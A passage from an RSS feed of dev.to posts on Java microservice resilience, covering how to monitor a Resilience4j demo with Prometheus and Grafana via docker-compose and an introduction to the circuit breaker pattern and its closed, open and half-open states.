&lt;p&gt;See &lt;a href="https://resilience4j.readme.io/docs/getting-started-3" rel="nofollow noopener noreferrer"&gt;User Guide&lt;/a&gt; for more details.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://github.com/resilience4j/resilience4j-spring-boot2-demo/blob/master/src/main/java/io/github/robwin/service/BackendAService.java" rel="noopener noreferrer"&gt;BackendAService&lt;/a&gt; shows how to use the Resilience4j Annotations.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://github.com/resilience4j/resilience4j-spring-boot2-demo/blob/master/src/main/java/io/github/robwin/controller/BackendBController.java" rel="noopener noreferrer"&gt;BackendBController&lt;/a&gt; shows how to use the functional style and the Spring Reactor operators.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Getting Started&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Just run the Application.java in your IDE.&lt;br&gt;
Application is running on &lt;a href="http://localhost:9080" rel="nofollow noopener noreferrer"&gt;http://localhost:9080&lt;/a&gt;.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Monitoring with Prometheus and Grafana (OPTIONAL)&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Requirements&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;&lt;a href="https://docs.docker.com/install/" rel="nofollow noopener noreferrer"&gt;Docker&lt;/a&gt; and &lt;a href="https://docs.docker.com/compose/install/" rel="nofollow noopener noreferrer"&gt;Docker Compose&lt;/a&gt; installed.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Step 1&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;Use docker-compose to start Grafana and Prometheus servers.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the root folder&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;docker-compose -f docker-compose.yml up&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Step 2&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;Check the Prometheus server.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open &lt;a href="http://localhost:9090" rel="nofollow noopener noreferrer"&gt;http://localhost:9090&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Access status -&amp;gt; Targets, both endpoints must be "UP"&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Step 3&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;Configure the Grafana.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open &lt;a href="http://localhost:3000" rel="nofollow noopener noreferrer"&gt;http://localhost:3000&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Configure integration with Prometheus&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Access configuration&lt;/li&gt;
&lt;li&gt;Add data source&lt;/li&gt;
&lt;li&gt;Select Prometheus&lt;/li&gt;
&lt;li&gt;Use url "&lt;a href="http://localhost:9090" rel="nofollow noopener noreferrer"&gt;http://localhost:9090&lt;/a&gt;" and access with value "Browser"&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Configure dashboard&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Access "home"&lt;/li&gt;
&lt;li&gt;Import dashboard&lt;/li&gt;
&lt;li&gt;Upload dashboard.json…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/silviobuss/resilience4j-spring-boot2-demo" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;The Full demo project with all modules can &lt;a href="https://github.com/resilience4j/resilience4j-spring-boot2-demo" rel="noopener noreferrer"&gt;viewed here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this post, we can see how its works and how is possible to monitoring the Circuit Breaker implemented in Spring Boot 2 with Resilience4j, Prometheus and Grafana.&lt;/p&gt;

&lt;h3&gt;
  
  
  Resources
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/resilience4j/resilience4j-spring-boot2-demo" rel="noopener noreferrer"&gt;https://github.com/resilience4j/resilience4j-spring-boot2-demo&lt;/a&gt;&lt;br&gt;
&lt;a href="https://logz.io/blog/prometheus-monitoring/" rel="noopener noreferrer"&gt;https://logz.io/blog/prometheus-monitoring/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>java</category>
      <category>microservices</category>
      <category>opensource</category>
      <category>devops</category>
    </item>
    <item>
      <title>Resilience pattern for Java microservices. The Circuit Breaker.</title>
      <dc:creator>Silvio Buss</dc:creator>
      <pubDate>Thu, 13 Jun 2019 00:44:26 +0000</pubDate>
      <link>https://dev.to/silviobuss/resilience-pattern-for-java-microservices-the-circuit-breaker-b2g</link>
      <guid>https://dev.to/silviobuss/resilience-pattern-for-java-microservices-the-circuit-breaker-b2g</guid>
      <description>&lt;h2&gt;
  
  
  Introdution
&lt;/h2&gt;

&lt;p&gt;Although the advantages of a microservices architecture are known (not a topic explained here), we often ignore the resiliency in system design. Software systems do remote calls to software running in different processes, usually on different machines across a network. For example:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fvc7jkkxycp5ldnt9lp0d.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fvc7jkkxycp5ldnt9lp0d.PNG" alt="Example"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What happens when &lt;strong&gt;service B&lt;/strong&gt; goes unavailable, responds with high latency or returns the same business exception repeatedly? These unhandled cases can lead to cascading failures that affect various company services.&lt;/p&gt;

&lt;h2&gt;
  
  
  The circuit breaker design
&lt;/h2&gt;

&lt;p&gt;The basic idea behind the circuit breaker is very simple. You wrap a protected function call in a circuit breaker object, which monitors it for failures. When we apply this pattern, we prevent possible application problems. This pattern follows the same concept as the safety electrical component named circuit breaker. &lt;/p&gt;

&lt;p&gt;Once the failures reach a certain threshold, the circuit breaker trips, and all further calls to the circuit breaker return with an error or with some alternative service or default message, without the protected call being made at all. This will assure that the system is responsive and threads are not waiting for an unresponsive call, protecting the system to avoid catastrophic failures.&lt;/p&gt;

&lt;p&gt;In case &lt;strong&gt;service B&lt;/strong&gt; goes down, &lt;strong&gt;service A&lt;/strong&gt; should still try to recover from this and try to do one of the followings actions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Custom fallback&lt;/strong&gt;: Try to get the same data from some other source. If not possible, use its own cache value or your custom client error response.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fail fast&lt;/strong&gt;: If service A knows that service B is down, there is no point to waiting the timeout and consuming its own resources. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Heal automatic&lt;/strong&gt;: Periodically check if service B is working again.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Other APIs should work&lt;/strong&gt;: All other APIs should continue to work.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fbk0c85is3c5767cc3qzt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fbk0c85is3c5767cc3qzt.png" alt="Circuit working"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Closed:&lt;/strong&gt; When everything is normal, the Circuit Breaker remains CLOSED and all calls to service B occur normally. If the number of failures exceeds a predetermined limit, the status changes to OPEN.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Open:&lt;/strong&gt; In this state, the Circuit Breaker will not execute the service B call and return a treated error.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Half-Open:&lt;/strong&gt; After a timeout period, the circuit switches to a half-open state to test if the underlying problem still exists. If a single call fails in this HALF-OPEN state, the breaker is once again tripped. If it succeeds, resets back to the normal, CLOSED state.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The circuit breaker helps you prevent possible problems of integration between your microservices. For best results, use monitoring tools and metrics, such as prometheus and grafana.&lt;/p&gt;

&lt;p&gt;In the &lt;a href="https://dev.to/silviobuss/resilience-for-java-microservices-circuit-breaker-with-resilience4j-5c81"&gt;next post&lt;/a&gt; I will be talk about the main framework for resilience to Java applications, &lt;strong&gt;Resilience4j&lt;/strong&gt;.&lt;/p&gt;


&lt;div class="ltag__link"&gt;
  &lt;a href="/silviobuss" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__pic"&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F177908%2Fd0a90ee3-56fa-4cf6-b30f-f745a115e58d.jpg" alt="silviobuss"&gt;
    &lt;/div&gt;
  &lt;/a&gt;
  &lt;a href="/silviobuss/resilience-for-java-microservices-circuit-breaker-with-resilience4j-5c81" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__content"&gt;
      &lt;h2&gt;Resilience for Java microservices. Circuit Breaker with Resilience4j&lt;/h2&gt;
      &lt;h3&gt;Silvio Buss ・ Jun 14 '19&lt;/h3&gt;
      &lt;div class="ltag__link__taglist"&gt;
        &lt;span class="ltag__link__tag"&gt;#java&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#microservices&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#opensource&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#devops&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
&lt;/div&gt;


&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://martinfowler.com/bliki/CircuitBreaker.html" rel="noopener noreferrer"&gt;https://martinfowler.com/bliki/CircuitBreaker.html&lt;/a&gt;&lt;br&gt;
&lt;a href="https://dzone.com/articles/circuit-breaker-pattern" rel="noopener noreferrer"&gt;https://dzone.com/articles/circuit-breaker-pattern&lt;/a&gt;&lt;br&gt;
&lt;a href="https://itnext.io/understand-circuitbreaker-design-pattern-with-simple-practical-example-92a752615b42" rel="noopener noreferrer"&gt;https://itnext.io/understand-circuitbreaker-design-pattern-with-simple-practical-example-92a752615b42&lt;/a&gt;&lt;/p&gt;

</description>
      <category>java</category>
      <category>microservices</category>
      <category>opensource</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
